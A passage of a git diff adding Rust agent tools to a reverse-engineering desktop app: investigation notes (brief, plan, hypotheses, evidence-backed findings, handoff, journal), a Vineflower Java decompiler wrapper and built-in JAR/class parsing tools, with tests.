write_atomic(&d.join(name), body.as_bytes())?; + } + } else { + match session.ext.get::() { + Some(slot) => *slot.lock().unwrap_or_else(PoisonError::into_inner) = inv.clone(), + None => session.ext.insert(Arc::new(Mutex::new(inv.clone()))), + } + } + Ok(inv) +} + +/// The Markdown files, rendered from the structured state. +pub fn render(inv: &Investigation) -> Vec<(&'static str, String)> { + let mut brief = String::from("# Brief\n\n"); + match &inv.brief { + Some(b) => { + brief.push_str(&format!("**Question:** {}\n\n", b.question)); + if let Some(p) = &b.purpose { + brief.push_str(&format!("**Purpose:** {p}\n\n")); + } + if !b.targets.is_empty() { + brief.push_str("**Targets:**\n"); + for t in &b.targets { + brief.push_str(&format!("- {t}\n")); + } + brief.push('\n'); + } + if !b.constraints.is_empty() { + brief.push_str("**Constraints:**\n"); + for c in &b.constraints { + brief.push_str(&format!("- {c}\n")); + } + brief.push('\n'); + } + if let Some(d) = &b.done_when { + brief.push_str(&format!("**Done when:** {d}\n")); + } + } + None => brief.push_str("_No brief yet._\n"), + } + let mut plan = String::from("# Plan\n\n"); + if inv.plan.is_empty() { + plan.push_str("_No plan yet._\n"); + } + for (i, s) in inv.plan.iter().enumerate() { + let st = match s.status { + StepStatus::Todo => "todo", + StepStatus::Doing => "doing", + StepStatus::Done => "done", + StepStatus::Blocked => "blocked", + }; + plan.push_str(&format!("{}. [{st}] {}", i + 1, s.title)); + if let Some(w) = &s.why { + plan.push_str(&format!(" — {w}")); + } + plan.push('\n'); + } + let mut hyp = String::from("# Hypotheses\n\n"); + if inv.hypotheses.is_empty() { + hyp.push_str("_None yet._\n"); + } + for h in &inv.hypotheses { + hyp.push_str(&format!("## {} ({:?})\n\n{}\n\n", h.id, h.status, h.claim)); + if let Some(p) = &h.prediction { + hyp.push_str(&format!("Prediction: {p}\n\n")); + } + if !h.supporting.is_empty() { + hyp.push_str(&format!("Supporting: {}\n\n", h.supporting.join(", "))); + } + if !h.contradicting.is_empty() { + hyp.push_str(&format!("Contradicting: {}\n\n", h.contradicting.join(", "))); + } + for n in &h.notes { + hyp.push_str(&format!("- {n}\n")); + } + } + let mut fnd = String::from("# Findings\n\n"); + if inv.findings.is_empty() { + fnd.push_str("_None yet._\n"); + } + for f in &inv.findings { + fnd.push_str(&format!("- **{}** {} ({}; evidence: {})\n", f.id, f.statement, f.confidence.plain_label(), f.evidence_ids.join(", "))); + } + let handoff = format!("# Handoff\n\n{}\n", inv.handoff.clone().unwrap_or_else(|| "_No handoff yet._".into())); + vec![("brief.md", brief), ("plan.md", plan), ("hypotheses.md", hyp), ("findings.md", fnd), ("handoff.md", handoff)] +} + +fn out(inv: &Investigation, session: &Session) -> ToolOutput { + ToolOutput::Value(json!({ + "revision": inv.revision, + "updated": inv.updated, + "brief": inv.brief, + "plan": inv.plan, + "hypotheses": inv.hypotheses, + "findings": inv.findings, + "handoff": inv.handoff, + "stored_in": dir(session).map(|d| d.display().to_string()).unwrap_or_else(|| "session (no project open)".into()), + })) +} + +fn check_ids(session: &Session, ids: &[String]) -> Result<(), ToolError> { + for id in ids { + session.resolve_evidence(id).map_err(|_| { + ToolError::invalid(format!("Unknown evidence id {id}")).with_remediation("Cite ids returned by analysis tools (see core_evidence_show).") + })?; + } + Ok(()) +} + +fn check_revision(inv: &Investigation, expected: Option) -> Result<(), ToolError> { + match expected { + Some(r) if r != inv.revision => Err(ToolError::new(ErrorCode::StaleRevision, format!("The investigation is at revision {}, not {r}.", inv.revision)) + .with_remediation("Call core_investigation_show, merge your change, and retry with the current revision.")), + _ => Ok(()), + } +} + +// ---- tools ---- + +fn core_investigation_show(ctx: &mut Ctx<'_>, _p: Value) -> Result { + let inv = load(ctx.session); + Ok(out(&inv, ctx.session)) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct BriefParams { + /// The question being answered, in one or two sentences. + pub question: String, + /// Why the user is asking (interoperability, security review, learning…). + #[serde(default)] + pub purpose: Option, + /// Targets involved (paths, packages, URLs). + #[serde(default)] + pub targets: Vec, + /// Constraints (clean room, no running the target, time budget…). + #[serde(default)] + pub constraints: Vec, + /// What a finished answer looks like. + #[serde(default)] + pub done_when: Option, +} + +fn core_brief_write(ctx: &mut Ctx<'_>, p: Value) -> Result { + let p: BriefParams = parse_params(p)?; + if p.question.trim().is_empty() { + return Err(ToolError::invalid("The brief needs a question.")); + } + let mut inv = load(ctx.session); + inv.brief = Some(Brief { question: p.question, purpose: p.purpose, targets: p.targets, constraints: p.constraints, done_when: p.done_when }); + let inv = save(ctx.session, inv)?; + Ok(out(&inv, ctx.session)) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PlanParams { + /// The whole plan, in order (replaces the previous one). + pub steps: Vec, + /// The revision your change is based on (from core_investigation_show); omit to overwrite. + #[serde(default)] + pub based_on_revision: Option, +} + +fn core_plan_update(ctx: &mut Ctx<'_>, p: Value) -> Result { + let p: PlanParams = parse_params(p)?; + if p.steps.len() > 200 { + return Err(ToolError::invalid("A plan can have at most 200 steps.")); + } + let mut inv = load(ctx.session); + check_revision(&inv, p.based_on_revision)?; + inv.plan = p.steps; + let inv = save(ctx.session, inv)?; + Ok(out(&inv, ctx.session)) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct HypothesisParams { + /// The claim being tested. + pub claim: String, + /// What we expect to observe if the claim is true. + #[serde(default)] + pub prediction: Option, + #[serde(default)] + pub evidence_for: Vec, + #[serde(default)] + pub evidence_against: Vec, +} + +fn core_hypothesis_record(ctx: &mut Ctx<'_>, p: Value) -> Result { + let p: HypothesisParams = parse_params(p)?; + if p.claim.trim().is_empty() { + return Err(ToolError::invalid("A hypothesis needs a claim.")); + } + check_ids(ctx.session, &p.evidence_for)?; + check_ids(ctx.session, &p.evidence_against)?; + let mut inv = load(ctx.session); + let id = format!("hyp_{}", inv.hypotheses.len() + 1); + inv.hypotheses.push(Hypothesis { + id: id.clone(), + claim: p.claim, + prediction: p.prediction, + status: HypothesisStatus::Testing, + supporting: p.evidence_for, + contradicting: p.evidence_against, + notes: Vec::new(), + }); + let inv = save(ctx.session, inv)?; + Ok(ToolOutput::Value(json!({"hypothesis_id": id, "revision": inv.revision}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct UpdateHypothesisParams { + pub hypothesis_id: String, + #[serde(default)] + pub status: Option, + #[serde(default)] + pub add_supporting_evidence_ids: Vec, + #[serde(default)] + pub add_contradicting_evidence_ids: Vec, + #[serde(default)] + pub note: Option, +} + +fn core_hypothesis_update(ctx: &mut Ctx<'_>, p: Value) -> Result { + let p: UpdateHypothesisParams = parse_params(p)?; + check_ids(ctx.session, &p.add_supporting_evidence_ids)?; + check_ids(ctx.session, &p.add_contradicting_evidence_ids)?; + let mut inv = load(ctx.session); + let h = inv + .hypotheses + .iter_mut() + .find(|h| h.id == p.hypothesis_id) + .ok_or_else(|| ToolError::invalid(format!("No hypothesis {}", p.hypothesis_id)).with_remediation("See core_investigation_show for the ids."))?; + if let Some(s) = p.status { + h.status = s; + } + for id in p.add_supporting_evidence_ids { + if !h.supporting.contains(&id) { + h.supporting.push(id); + } + } + for id in p.add_contradicting_evidence_ids { + if !h.contradicting.contains(&id) { + h.contradicting.push(id); + } + } + if let Some(n) = p.note.filter(|n| !n.trim().is_empty()) { + h.notes.push(n); + } + let snapshot = h.clone(); + let inv = save(ctx.session, inv)?; + Ok(ToolOutput::Value(json!({"hypothesis": snapshot, "revision": inv.revision}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct FindingParams { + /// The settled answer, in one or two sentences. + pub statement: String, + /// Evidence ids that establish it (at least one). + pub evidence_ids: Vec, + /// observed (read directly), derived (computed from observations) or inferred (best guess). + #[serde(default = "inferred")] + pub confidence: ConfidenceParam, +} + +#[derive(Debug, Clone, Copy, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum ConfidenceParam { + Observed, + Derived, + Inferred, +} + +fn inferred() -> ConfidenceParam { + ConfidenceParam::Inferred +} + +fn core_finding_record(ctx: &mut Ctx<'_>, p: Value) -> Result { + let p: FindingParams = parse_params(p)?; + if p.statement.trim().is_empty() { + return Err(ToolError::invalid("A finding needs a statement.")); + } + if p.evidence_ids.is_empty() { + return Err(ToolError::invalid("A finding must cite at least one evidence id.") + .with_remediation("Run the analysis that shows it, then cite the evidence id it returns.")); + } + check_ids(ctx.session, &p.evidence_ids)?; + let mut inv = load(ctx.session); + let id = format!("fnd_{}", inv.findings.len() + 1); + let confidence = match p.confidence { + ConfidenceParam::Observed => Confidence::Observed, + ConfidenceParam::Derived => Confidence::Derived, + ConfidenceParam::Inferred => Confidence::Inferred, + }; + inv.findings.push(Finding { id: id.clone(), statement: p.statement, evidence_ids: p.evidence_ids, confidence }); + let inv = save(ctx.session, inv)?; + Ok(ToolOutput::Value(json!({"finding_id": id, "revision": inv.revision}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct HandoffParams { + /// Where we are, what's next, and traps to avoid. Replaces the previous handoff. + pub text: String, +} + +fn core_handoff_write(ctx: &mut Ctx<'_>, p: Value) -> Result { + let p: HandoffParams = parse_params(p)?; + let mut inv = load(ctx.session); + inv.handoff = Some(p.text); + let inv = save(ctx.session, inv)?; + Ok(ToolOutput::Value(json!({"revision": inv.revision}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct JournalParams { + /// Day to read (`YYYY-MM-DD`); the latest day when omitted. + #[serde(default)] + pub day: Option, + /// Only entries of this kind (`tool_call`, `model_turn`, `consent`, `user_message`, `error`…). + #[serde(default)] + pub kind: Option, + /// Only calls of this tool. + #[serde(default)] + pub tool: Option, + #[serde(default)] + pub offset: usize, + /// At most 500; default 50. + #[serde(default)] + pub limit: Option, +} + +fn core_journal_read(ctx: &mut Ctx<'_>, p: Value) -> Result { + let p: JournalParams = parse_params(p)?; + let root = ctx.session.project.as_ref().map(|pr| pr.root.clone()).ok_or_else(|| { + ToolError::unavailable("The journal is kept per project, and no project is open.").with_remediation("Open or create a project (.cany) first.") + })?; + let days = journal::days(&root); + let day = p.day.or_else(|| days.last().cloned()).unwrap_or_default(); + let entries: Vec = journal::read_day(&root, &day) + .into_iter() + .filter(|e| p.kind.as_ref().is_none_or(|k| e["kind"] == *k)) + .filter(|e| p.tool.as_ref().is_none_or(|t| e["tool"] == *t)) + .collect(); + let limit = p.limit.unwrap_or(50).clamp(1, 500); + let total = entries.len(); + let page: Vec = entries.into_iter().skip(p.offset).take(limit).collect(); + let next = p.offset.saturating_add(page.len()); + Ok(ToolOutput::Value(json!({ + "day": day, + "days": days, + "total": total, + "entries": page, + "next_offset": if next < total { Some(next) } else { None }, + }))) +} + +#[cfg(test)] +mod tests { + use crate::project::{Project, Purpose}; + use crate::{CallOptions, Caller, Engine}; + use serde_json::json; + + fn call(e: &Engine, id: &str, p: serde_json::Value) -> Result { + e.call(id, p, CallOptions::new(Caller::Agent)).map(|o| o.to_json()) + } + + #[test] + fn memory_round_trip_without_project() { + let e = Engine::new(crate::testing::session()); + call(&e, "core_brief_write", json!({"question": "How does save work?"})).unwrap(); + call(&e, "core_plan_update", json!({"steps": [{"title": "find save", "status": "doing"}]})).unwrap(); + let h = call(&e, "core_hypothesis_record", json!({"claim": "writes JSON", "prediction": "a .json string near the save path"})).unwrap(); + assert_eq!(h["result"]["hypothesis_id"], "hyp_1"); + call(&e, "core_hypothesis_update", json!({"hypothesis_id": "hyp_1", "status": "supported", "note": "seen"})).unwrap(); + // findings need real evidence + assert!(call(&e, "core_finding_record", json!({"statement": "x", "evidence_ids": []})).is_err()); + assert!(call(&e, "core_finding_record", json!({"statement": "x", "evidence_ids": ["ev_00"]})).is_err()); + call(&e, "core_handoff_write", json!({"text": "next: check the loader"})).unwrap(); + let inv = call(&e, "core_investigation_show", json!({})).unwrap(); + assert_eq!(inv["result"]["brief"]["question"], "How does save work?"); + assert_eq!(inv["result"]["hypotheses"][0]["status"], "supported"); + assert_eq!(inv["result"]["handoff"], "next: check the loader"); + let rev = inv["result"]["revision"].as_u64().unwrap(); + let err = call(&e, "core_plan_update", json!({"steps": [], "based_on_revision": rev + 7})).unwrap_err(); + assert_eq!(err.code, craft_anything_evidence::ErrorCode::StaleRevision); + assert!(call(&e, "core_journal_read", json!({})).is_err()); + } + + #[test] + fn project_files_and_journal() { + let dir = tempfile::tempdir().unwrap(); + let project = Project::create(&dir.path().join("p.cany"), "p", Purpose::Education).unwrap(); + let mut s = crate::testing::session(); + s.open_project(project).unwrap(); + let e = Engine::new(s); + call(&e, "core_brief_write", json!({"question": "Q?", "targets": ["/bin/ls"]})).unwrap(); + call(&e, "core_handoff_write", json!({"text": "resume here"})).unwrap(); + let inv_dir = dir.path().join("p.cany").join("investigation"); + for f in ["state.json", "brief.md", "plan.md", "hypotheses.md", "findings.md", "handoff.md"] { + assert!(inv_dir.join(f).exists(), "{f}"); + } + assert!(std::fs::read_to_string(inv_dir.join("handoff.md")).unwrap().contains("resume here")); + let _ = call(&e, "no_such_tool", json!({})); + let j = call(&e, "core_journal_read", json!({"kind": "tool_call"})).unwrap(); + let entries = j["result"]["entries"].as_array().unwrap(); + assert!(entries.len() >= 3); + assert_eq!(entries[0]["tool"], "core_brief_write"); + assert_eq!(entries[0]["ok"], true); + assert!(entries.iter().any(|e| e["tool"] == "no_such_tool" && e["ok"] == false)); + let only = call(&e, "core_journal_read", json!({"tool": "core_handoff_write"})).unwrap(); + assert_eq!(only["result"]["total"], 1); + } +} diff --git a/desktop/crates/engine/src/tools/java_decompile_tools.rs b/desktop/crates/engine/src/tools/java_decompile_tools.rs new file mode 100644 index 0000000..a4860e4 --- /dev/null +++ b/desktop/crates/engine/src/tools/java_decompile_tools.rs @@ -0,0 +1,216 @@ +//! Java decompiled to source by Vineflower (Apache-2.0), run as an external program: its JAR with +//! the configured Java, or a `vineflower` wrapper script. It writes sources into a private temp +//! folder (plain `.java` files, or a sources archive for a JAR input), which is read back and +//! removed. + +use super::artifact_tools::fresh_temp_dir; +use super::external_disasm_tools::{input_file, locate, run}; +use super::native_common::{params_json, spec}; +use super::static_input::builder; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, Limitation, ToolError}; +use craft_anything_formats::zip; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::path::{Path, PathBuf}; + +pub fn specs() -> Vec { + vec![spec( + "java_vineflower_decompile", + "Decompile Java with Vineflower", + "Decompile a Java .class file or JAR (absolute path or the active target) to Java source with Vineflower, run as a program (its .jar with the configured Java, or a vineflower script; set its path in Settings → Engines). Without class: the decompiled source files with their line counts, paged with offset/limit (and the source itself when there is one file). With class (com.example.Foo or com/example/Foo): that class's source, paged by lines; inner classes are inside their outer class's file. Optional engine.", + "Turn compiled Java back into readable source code.", + Toolset::Java, + Effects::LAUNCHES_PROCESS | Effects::WRITES_FILESYSTEM, + Requires::Engine("vineflower"), + schema_of::, + java_vineflower_decompile, + )] +} + +fn d_limit() -> usize { + 2000 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct Params { + /// Absolute path of a .class or .jar; omit to use the active target. + #[serde(default)] + pub path: Option, + /// One class to show (com.example.Foo or com/example/Foo). + #[serde(default)] + pub class: Option, + /// First file (or, with class, first line) of the page. + #[serde(default)] + pub offset: usize, + /// Files or lines per page (1–20000, default 2000). + #[serde(default = "d_limit")] + pub limit: usize, +} + +/// Sources read back per run. +const MAX_FILES: usize = 50_000; +const MAX_TOTAL: u64 = 256 << 20; + +/// Removes the output folder however the tool ends. +struct TempDir(PathBuf); + +impl Drop for TempDir { + fn drop(&mut self) { + let _ = std::fs::remove_dir_all(&self.0); + } +} + +/// The decompiled sources Vineflower left in `dir`: `.java` files, and `.java` entries of any +/// sources archive, as (path with `/`, text). True when a cap stopped the reading. +fn read_sources(dir: &Path) -> (Vec<(String, String)>, bool) { + let mut out = Vec::new(); + let mut total = 0u64; + let mut capped = false; + let mut stack = vec![(dir.to_path_buf(), 0usize)]; + while let Some((d, depth)) = stack.pop() { + let Ok(rd) = std::fs::read_dir(&d) else { continue }; + for entry in rd.flatten() { + let p = entry.path(); + if p.is_dir() { + if depth < 64 { + stack.push((p, depth + 1)); + } + continue; + } + if out.len() >= MAX_FILES || total >= MAX_TOTAL { + capped = true; + continue; + } + let ext = p.extension().and_then(|e| e.to_str()).map(str::to_ascii_lowercase); + match ext.as_deref() { + Some("java") => { + let Ok(text) = std::fs::read_to_string(&p) else { continue }; + total += text.len() as u64; + let rel = p.strip_prefix(dir).unwrap_or(&p).to_string_lossy().replace('\\', "/"); + out.push((rel, text)); + } + Some("jar" | "zip") => { + let Ok(bytes) = std::fs::read(&p) else { continue }; + let Ok(archive) = zip::parse(&bytes, MAX_FILES) else { continue }; + for e in archive.entries.iter().filter(|e| !e.is_dir && e.name.ends_with(".java")) { + if out.len() >= MAX_FILES || total >= MAX_TOTAL { + capped = true; + break; + } + let Ok(data) = zip::read_entry(&bytes, e, MAX_TOTAL - total) else { continue }; + total += data.len() as u64; + out.push((e.name.clone(), String::from_utf8_lossy(&data).into_owned())); + } + } + _ => {} + } + } + } + out.sort_by(|a, b| a.0.cmp(&b.0)); + (out, capped) +} + +/// The file holding `class` (`com.example.Foo` or `com/example/Foo`, optionally with `.java`). +fn find_class<'a>(sources: &'a [(String, String)], class: &str) -> Option<&'a (String, String)> { + let want = class.trim().trim_end_matches(".java").trim_end_matches(".class").replace('.', "/"); + let want = format!("{}.java", want.trim_start_matches('/')); + sources.iter().find(|(name, _)| name == &want || name.ends_with(&format!("/{want}"))) +} + +fn java_vineflower_decompile(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: Params = parse_params(params)?; + let (file, subject) = input_file(ctx, p.path.as_deref())?; + let vineflower = locate(ctx, "vineflower")?; + let out_dir = TempDir(fresh_temp_dir("craft-anything-vineflower")?); + let (exe, mut args) = super::external_disasm_tools::program_for(ctx, &vineflower)?; + args.extend([file.display().to_string(), out_dir.0.display().to_string()]); + ctx.report(None, "Decompiling with Vineflower"); + let out = run(ctx, &exe, &args, "vineflower")?; + let (sources, capped) = read_sources(&out_dir.0); + if sources.is_empty() { + let mut err = craft_anything_platform::process::nonzero_error("vineflower", &out); + if out.success { + err = ToolError::invalid("Vineflower produced no Java source").with_remediation("Pass a .class file or a JAR with classes in it."); + } + return Err(err); + } + let limit = p.limit.clamp(1, 20_000); + let mut lims = vec![Limitation::new( + "decompiled", + "Decompiled source is a reconstruction: names of local variables, comments and some constructs (lambdas, switch on strings, synthetic code) may differ from the original.", + )]; + if capped { + lims.push(Limitation::new("output_capped", "More than 50,000 files or 256 MiB of source came back; the rest were left out.")); + } + if !out.success { + lims.push(Limitation::new("nonzero_exit", format!("Vineflower exited with {:?}; some classes may be missing.", out.code))); + } + let base = json!({"tool": exe, "arguments": args, "exit_code": out.code, "files": sources.len()}); + let (result, summary, coverage) = match p.class.as_deref() { + Some(class) => { + let (name, text) = find_class(&sources, class).ok_or_else(|| { + ToolError::invalid(format!("no decompiled source for class {class}")).with_remediation("Call without class to list the decompiled files.") + })?; + let total = text.lines().count(); + let page: Vec<&str> = text.lines().skip(p.offset).take(limit).collect(); + let mut r = base; + r["file"] = json!(name); + r["total_lines"] = json!(total); + r["source"] = json!(page.join("\n")); + (r, format!("Vineflower: {name}, {total} lines."), Coverage::page(page.len() as u64, total as u64, p.offset as u64)) + } + None => { + let page: Vec = sources.iter().skip(p.offset).take(limit).map(|(n, t)| json!({"file": n, "lines": t.lines().count()})).collect(); + let mut r = base; + r["sources"] = json!(page); + if let [(name, text)] = sources.as_slice() { + r["file"] = json!(name); + r["source"] = json!(text); + } + (r, format!("Vineflower decompiled {} source file(s).", sources.len()), Coverage::page(page.len() as u64, sources.len() as u64, p.offset as u64)) + } + }; + let e = builder(ctx, "java_vineflower_decompile", subject, params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Inferred) + .authority(Authority::OutsideService) + .limitations(lims) + .coverage(coverage) + .build()?; + Ok(ToolOutput::evidence(e)) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::{CallOptions, Caller, Engine}; + + #[test] + fn reads_plain_files_and_source_archives() { + let dir = tempfile::tempdir().unwrap(); + std::fs::create_dir_all(dir.path().join("com/example")).unwrap(); + std::fs::write(dir.path().join("com/example/Foo.java"), "class Foo {\n}\n").unwrap(); + std::fs::write(dir.path().join("notes.txt"), "not source").unwrap(); + let zip_bytes = + craft_anything_testkit::electron::zip_stored(&[("org/demo/Bar.java", b"class Bar {}\n".as_slice()), ("META-INF/MANIFEST.MF", b"x".as_slice())]); + std::fs::write(dir.path().join("app.jar"), zip_bytes).unwrap(); + let (s, capped) = read_sources(dir.path()); + assert!(!capped); + let names: Vec<&str> = s.iter().map(|(n, _)| n.as_str()).collect(); + assert_eq!(names, ["com/example/Foo.java", "org/demo/Bar.java"]); + assert_eq!(find_class(&s, "com.example.Foo").map(|f| f.0.as_str()), Some("com/example/Foo.java")); + assert_eq!(find_class(&s, "org/demo/Bar").map(|f| f.1.as_str()), Some("class Bar {}\n")); + assert!(find_class(&s, "Foo2").is_none()); + } + + #[test] + fn needs_vineflower_and_an_input() { + let e = Engine::new(crate::testing::session()); + assert!(e.call("java_vineflower_decompile", json!({"path": "relative.jar"}), CallOptions::new(Caller::Mcp)).is_err()); + assert!(e.call("java_vineflower_decompile", json!({}), CallOptions::new(Caller::Mcp)).is_err()); + } +} diff --git a/desktop/crates/engine/src/tools/java_tools.rs b/desktop/crates/engine/src/tools/java_tools.rs new file mode 100644 index 0000000..988c7f3 --- /dev/null +++ b/desktop/crates/engine/src/tools/java_tools.rs @@ -0,0 +1,859 @@ +//! Java programs with built-in parsers: a JAR/WAR overview (manifest, package tree, main class, +//! dependencies, class-file versions), class/method search, one class's fields and methods, a +//! method's JVM bytecode disassembly with resolved constant-pool references plus a best-effort +//! pseudo-Java decompilation, and cross-archive reference tracing. All clean-room and pure Rust; +//! no JDK or external decompiler is used. + +use super::native_common::page; +use super::static_input::{self, Input, builder}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_analysis::java_decompile; +use craft_anything_evidence::{Authority, Confidence, Coverage, CoverageStatus, ErrorCode, EvidenceBuilder, Limitation, Location, ToolError}; +use craft_anything_formats::java_class::{self, ClassFile}; +use craft_anything_formats::{java_ops, zip}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; + +pub fn specs() -> Vec { + use Toolset::Java; + let e = Effects::EVIDENCE; + vec![ + ToolSpec { + id: "java_archive_show", + title: "Java archive overview", + summary: "Read a JAR or WAR with the built-in parser: the MANIFEST.MF attributes (main class, class-path, versions), the classes it defines grouped into a package tree, bundled dependencies (nested jars and native libraries), resources, and the class-file (Java) version(s) seen.", + beginner: "See what's inside a Java program (.jar/.war): its name, its main entry point, its packages and what it bundles.", + toolset: Java, + effects: e, + requires: Requires::Nothing, + input_schema: schema_of::, + run: java_archive_show, + }, + ToolSpec { + id: "java_classes_find", + title: "Find Java classes", + summary: "Search the classes (and optionally methods) defined in a JAR/WAR or a single .class by name; an empty query lists every class. Paged (offset/limit).", + beginner: "Find the pieces of code inside a Java program by name.", + toolset: Java, + effects: e, + requires: Requires::Nothing, + input_schema: schema_of::, + run: java_classes_find, + }, + ToolSpec { + id: "java_class_show", + title: "Java class", + summary: "One class from a JAR/WAR or a bare .class: its Java version, access flags, superclass, interfaces, source file, annotations, inner classes, and its fields and methods with Java-style signatures. With decompile=true, also a pseudo-Java skeleton of the class.", + beginner: "Look inside one piece of a Java program's code.", + toolset: Java, + effects: e, + requires: Requires::Nothing, + input_schema: schema_of::, + run: java_class_show, + }, + ToolSpec { + id: "java_method_show", + title: "Java method bytecode and pseudo-Java", + summary: "A method's JVM bytecode as a disassembly listing with resolved constant-pool references (fields, methods, classes, string/number constants), branch targets, switch tables and the exception table, plus a best-effort structured pseudo-Java reconstruction (confidence Inferred). Paged over instructions.", + beginner: "Read the instructions of one function in a Java program, and a best-guess of its original Java source.", + toolset: Java, + effects: e | Effects::CARRIES_TARGET_CONTENT, + requires: Requires::Nothing, + input_schema: schema_of::, + run: java_method_show, + }, + ToolSpec { + id: "java_class_users_find", + title: "Who uses this Java class?", + summary: "Every instruction in every class of a JAR/WAR (or a single .class) that calls, reads, writes, creates or casts to a class (or only calls one of its methods when method_name is given), with the calling method and bytecode offset. Paged.", + beginner: "Find every place in a Java program that uses a piece of code.", + toolset: Java, + effects: e, + requires: Requires::Nothing, + input_schema: schema_of::, + run: java_class_users_find, + }, + ] +} + +// --------------------------------------------------------------------------------------------- +// Params + +fn d_limit() -> usize { + 200 +} +fn d_insn_limit() -> usize { + 2000 +} +fn d_true() -> bool { + true +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ArchiveParams { + /// Absolute path of the JAR/WAR; the active target when omitted. + #[serde(default)] + pub path: Option, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct SearchParams { + #[serde(default)] + pub path: Option, + /// Case-insensitive part of a class (or method) name. Empty lists every class. + #[serde(default)] + pub query: String, + /// Also match (and show) method names. + #[serde(default)] + pub include_methods: bool, + #[serde(default)] + pub offset: usize, + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ClassParams { + #[serde(default)] + pub path: Option, + /// `com.example.Main`, `com/example/Main` or `Lcom/example/Main;`. Optional for a bare .class. + #[serde(default)] + pub class_name: Option, + /// Also include a pseudo-Java skeleton of the class (confidence Inferred). + #[serde(default)] + pub decompile: bool, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct MethodParams { + #[serde(default)] + pub path: Option, + #[serde(default)] + pub class_name: Option, + pub method_name: String, + /// The method descriptor (`(I)I`) to pick a specific overload; the first match otherwise. + #[serde(default)] + pub descriptor: Option, + /// Include the pseudo-Java reconstruction (default true). + #[serde(default = "d_true")] + pub decompile: bool, + #[serde(default)] + pub offset: usize, + #[serde(default = "d_insn_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ReferencesParams { + #[serde(default)] + pub path: Option, + pub class_name: String, + /// Only calls to methods with this name. + #[serde(default)] + pub method_name: Option, + #[serde(default)] + pub offset: usize, + #[serde(default = "d_limit")] + pub limit: usize, +} + +// --------------------------------------------------------------------------------------------- +// Loading + +/// Biggest archive read. +const MAX_JAR: u64 = 1 << 30; +/// Biggest single member decompressed. +const MAX_MEMBER: u64 = 256 << 20; +/// Most classes parsed for a whole-archive operation. +const MAX_CLASSES: usize = 100_000; +/// Total class bytes parsed for a whole-archive operation. +const MAX_CLASS_TOTAL: u64 = 768 << 20; + +/// Parsed classes keyed by entry (or file) name, plus any parse warnings. +type ParsedClasses = (Vec<(String, ClassFile)>, Vec); + +struct Source { + input: Input, + zip: Option, + /// (name, bytes) for a single bare `.class`. + single: Option<(String, Vec)>, +} + +fn load(ctx: &Ctx<'_>, path: Option<&str>) -> Result { + let input = static_input::load(ctx, path, MAX_JAR)?; + if java_class::is_class(&input.bytes) { + let name = input.name.clone(); + let bytes = input.bytes.to_vec(); + return Ok(Source { input, zip: None, single: Some((name, bytes)) }); + } + if zip::looks_like_zip(&input.bytes) { + let z = zip::parse(&input.bytes, 500_000) + .map_err(|e| ToolError::new(ErrorCode::NotSupported, format!("Couldn't read the archive's ZIP directory: {e}")))?; + return Ok(Source { input, zip: Some(z), single: None }); + } + Err(ToolError::unsupported(format!("{} is not a Java .class or a JAR/WAR archive", input.name)) + .with_remediation("Pass a .class, .jar or .war file; run triage to see what this file is.")) +} + +fn is_class_entry(name: &str) -> bool { + name.ends_with(".class") && !name.ends_with("package-info.class") +} + +impl Source { + fn bytes(&self) -> &[u8] { + &self.input.bytes + } + + fn read_entry(&self, e: &zip::ZipEntry) -> Result, String> { + zip::read_entry(self.bytes(), e, MAX_MEMBER).map_err(|e| e.to_string()) + } + + fn member(&self, name: &str) -> Option> { + let z = self.zip.as_ref()?; + let e = z.entries.iter().find(|e| e.name == name)?; + self.read_entry(e).ok() + } + + /// Parse every class (bounded), returning (entry-or-class name, parsed) and warnings. + fn parse_all(&self, ctx: &Ctx<'_>) -> Result { + let mut out = Vec::new(); + let mut warnings = Vec::new(); + if let Some((name, bytes)) = &self.single { + match java_class::parse(bytes) { + Ok(cf) => { + warnings.extend(cf.warnings.iter().map(|w| format!("{name}: {w}"))); + out.push((name.clone(), cf)); + } + Err(e) => return Err(ToolError::new(ErrorCode::NotSupported, format!("Couldn't read {name} as a Java class: {e}"))), + } + return Ok((out, warnings)); + } + let Some(z) = self.zip.as_ref() else { return Ok((out, warnings)) }; + let mut total = 0u64; + for e in z.entries.iter().filter(|e| !e.is_dir && is_class_entry(&e.name)) { + if out.len() >= MAX_CLASSES { + warnings.push(format!("stopped after {MAX_CLASSES} classes")); + break; + } + if total.saturating_add(e.uncompressed_size) > MAX_CLASS_TOTAL { + warnings.push(format!("{} skipped: class-byte budget used up", e.name)); + continue; + } + if out.len() % 256 == 0 { + ctx.cancel.check()?; + } + match self.read_entry(e) { + Ok(b) => { + total += b.len() as 